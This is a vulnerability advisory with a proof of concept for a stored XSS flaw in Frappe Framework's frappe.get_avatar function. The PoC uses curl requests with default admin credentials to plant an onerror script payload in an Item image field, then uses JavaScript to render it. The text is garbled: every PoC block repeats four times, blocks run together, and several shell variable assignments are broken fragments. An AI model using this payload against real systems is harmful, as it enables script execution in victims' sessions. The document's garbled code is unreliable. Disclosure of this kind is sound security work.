Description
A Stored Cross-Site Scripting (XSS) vulnerability exists in Frappe Framework version 17.0.0-dev due to improper neutralization of user-controlled input in the frappe.get_avatar function. The function interpolates the image_url value directly into an HTML template string and assigns the resulting markup to innerHTML without performing adequate HTML escaping or sanitization.
An attacker with write access to a record containing an image_field can persist a crafted Attach Image value containing malicious markup. When the affected record is rendered by components that consume frappe.get_avatar, the attacker-controlled payload is inserted into the DOM and executed in the context of the viewing user's session.
The sink is client-side innerHTML construction in frappe.get_avatar, where image_url is interpolated directly into an HTML template string without escaping.
Vulnerability
Case A: Link Preview preview_image -> frappe.get_avatar
Source persistence: attacker-controlled payload stored in an Attach Image field (validated with Item.image).
Sanitization gap: server-side XSS sanitizer excludes Attach / Attach Image fields.
Server response: frappe.desk.link_preview.get_preview_data returns preview_image from the record's image_field.
Client propagation: link_preview.js passes preview_data.preview_image into frappe.get_avatar.
Sink: frappe.get_avatar inserts unescaped template content via el.innerHTML, including:
style='background-image: url("${image_url}")'
Impact: crafted payload breaks out of the style context and executes JavaScript in the victim browser context.
Case B: Global Search image path
frappe.utils.global_search.search copies doc.get(meta.image_field) into r.image.
search_utils.js forwards d.image into result.image.
search.js calls frappe.get_avatar(..., result.image).
Same sink in frappe.get_avatar.
Notes on weaker claims:
data_attributes (filterable=true) is a secondary vector with stricter source constraints.
abbr/style in the non-image branch are not required to prove the exploitability of the validated image_url path.
Relevant code:
frappe/frappe/public/js/frappe/utils/common.js:46-56
frappe/frappe/public/js/frappe/utils/common.js:69-74
frappe/frappe/public/js/frappe/ui/link_preview.js:212-221
frappe/frappe/public/js/frappe/ui/link_preview.js:156-158
frappe/frappe/desk/link_preview.py:41-44
frappe/frappe/model/base_document.py:1383-1387
frappe/frappe/utils/global_search.py:533-536
frappe/frappe/public/js/frappe/ui/toolbar/search_utils.js:469-470
frappe/frappe/public/js/frappe/ui/toolbar/search.js:329-333
frappe/frappe/core/doctype/user/user.py:221-223
frappe/frappe/core/doctype/user/user.py:650-653
PoC
Reproduction used in validation environment
Login and keep session cookie:
curl -s -c /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/login \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'usr=Administrator&pwd=admin'
curl -s -c /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/login \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'usr=Administrator&pwd=admin'
curl -s -c /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/login \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'usr=Administrator&pwd=admin'
curl -s -c /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/login \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'usr=Administrator&pwd=admin'
Create a temporary Item:
ITEM_GROUP=
'doctype=Item Group'
'fields=["name"]'
'limit_page_length=1''.message[0].name'
STOCK_UOM=
'doctype=UOM'
'fields=["name"]'
'limit_page_length=1''.message[0].name'
ITEM_CODE="XSS-AVATAR-"
curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.client.insert \
--data-urlencode "doc={\"doctype\":\"Item\",\"item_code\":\"${ITEM_CODE}\",\"item_name\":\"${ITEM_CODE}\",\"item_group\":\"${ITEM_GROUP}\",\"stock_uom\":\"${STOCK_UOM}\"}"ITEM_GROUP=
'doctype=Item Group'
'fields=["name"]'
'limit_page_length=1''.message[0].name'
STOCK_UOM=
'doctype=UOM'
'fields=["name"]'
'limit_page_length=1''.message[0].name'
ITEM_CODE="XSS-AVATAR-"
curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.client.insert \
--data-urlencode "doc={\"doctype\":\"Item\",\"item_code\":\"${ITEM_CODE}\",\"item_name\":\"${ITEM_CODE}\",\"item_group\":\"${ITEM_GROUP}\",\"stock_uom\":\"${STOCK_UOM}\"}"ITEM_GROUP=
'doctype=Item Group'
'fields=["name"]'
'limit_page_length=1''.message[0].name'
STOCK_UOM=
'doctype=UOM'
'fields=["name"]'
'limit_page_length=1''.message[0].name'
ITEM_CODE="XSS-AVATAR-"
curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.client.insert \
--data-urlencode "doc={\"doctype\":\"Item\",\"item_code\":\"${ITEM_CODE}\",\"item_name\":\"${ITEM_CODE}\",\"item_group\":\"${ITEM_GROUP}\",\"stock_uom\":\"${STOCK_UOM}\"}"ITEM_GROUP=
'doctype=Item Group'
'fields=["name"]'
'limit_page_length=1''.message[0].name'
STOCK_UOM=
'doctype=UOM'
'fields=["name"]'
'limit_page_length=1''.message[0].name'
ITEM_CODE="XSS-AVATAR-"
curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.client.insert \
--data-urlencode "doc={\"doctype\":\"Item\",\"item_code\":\"${ITEM_CODE}\",\"item_name\":\"${ITEM_CODE}\",\"item_group\":\"${ITEM_GROUP}\",\"stock_uom\":\"${STOCK_UOM}\"}"Store payload in Item.image (Attach Image):
PAYLOAD='x'\''></span><img src=x onerror=alert("XSS_AVATAR_9777")><!--'
curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.client.set_value \
--data-urlencode "doctype=Item" \
--data-urlencode "name=${ITEM_CODE}" \
--data-urlencode 'fieldname=image' \
--data-urlencode "value=${PAYLOAD}"PAYLOAD='x'\''></span><img src=x onerror=alert("XSS_AVATAR_9777")><!--'
curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.client.set_value \
--data-urlencode "doctype=Item" \
--data-urlencode "name=${ITEM_CODE}" \
--data-urlencode 'fieldname=image' \
--data-urlencode "value=${PAYLOAD}"PAYLOAD='x'\''></span><img src=x onerror=alert("XSS_AVATAR_9777")><!--'
curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.client.set_value \
--data-urlencode "doctype=Item" \
--data-urlencode "name=${ITEM_CODE}" \
--data-urlencode 'fieldname=image' \
--data-urlencode "value=${PAYLOAD}"PAYLOAD='x'\''></span><img src=x onerror=alert("XSS_AVATAR_9777")><!--'
curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.client.set_value \
--data-urlencode "doctype=Item" \
--data-urlencode "name=${ITEM_CODE}" \
--data-urlencode 'fieldname=image' \
--data-urlencode "value=${PAYLOAD}"Retrieve preview data and verify source reaches client:
curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.desk.link_preview.get_preview_data \
--data-urlencode "doctype=Item" \
--data-urlencode "docname=${ITEM_CODE}"curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.desk.link_preview.get_preview_data \
--data-urlencode "doctype=Item" \
--data-urlencode "docname=${ITEM_CODE}"curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.desk.link_preview.get_preview_data \
--data-urlencode "doctype=Item" \
--data-urlencode "docname=${ITEM_CODE}"curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.desk.link_preview.get_preview_data \
--data-urlencode "doctype=Item" \
--data-urlencode "docname=${ITEM_CODE}"In an authenticated Desk page, evaluate:
frappe.call('frappe.desk.link_preview.get_preview_data', {doctype: 'Item', docname: ITEM_CODE})
.then(r => {
const html = frappe.get_avatar('avatar-medium', r.message.preview_title, r.message.preview_image);
const d = document.createElement('div');
d.innerHTML = html;
document.body.appendChild(d);
});frappe.call('frappe.desk.link_preview.get_preview_data', {doctype: 'Item', docname: ITEM_CODE})
.then(r => {
const html = frappe.get_avatar('avatar-medium', r.message.preview_title, r.message.preview_image);
const d = document.createElement('div');
d.innerHTML = html;
document.body.appendChild(d);
});frappe.call('frappe.desk.link_preview.get_preview_data', {doctype: 'Item', docname: ITEM_CODE})
.then(r => {
const html = frappe.get_avatar('avatar-medium', r.message.preview_title, r.message.preview_image);
const d = document.createElement('div');
d.innerHTML = html;
document.body.appendChild(d);
});frappe.call('frappe.desk.link_preview.get_preview_data', {doctype: 'Item', docname: ITEM_CODE})
.then(r => {
const html = frappe.get_avatar('avatar-medium', r.message.preview_title, r.message.preview_image);
const d = document.createElement('div');
d.innerHTML = html;
document.body.appendChild(d);
});Expected result:
Browser executes alert("XSS_AVATAR_9777").
Evidence of Exploitation
Static evidence:

Our security policy
We have reserved the ID CVE-2026-50700 to refer to this issue from now on.
System Information
Frappe Framework
Version 17.0.0-dev
Operating System: Any
References
Mitigation
There is currently no patch available for this vulnerability.
Credits
The vulnerability was discovered by Oscar Uribe from Fluid Attacks' Offensive Team using the AI SAST Scanner.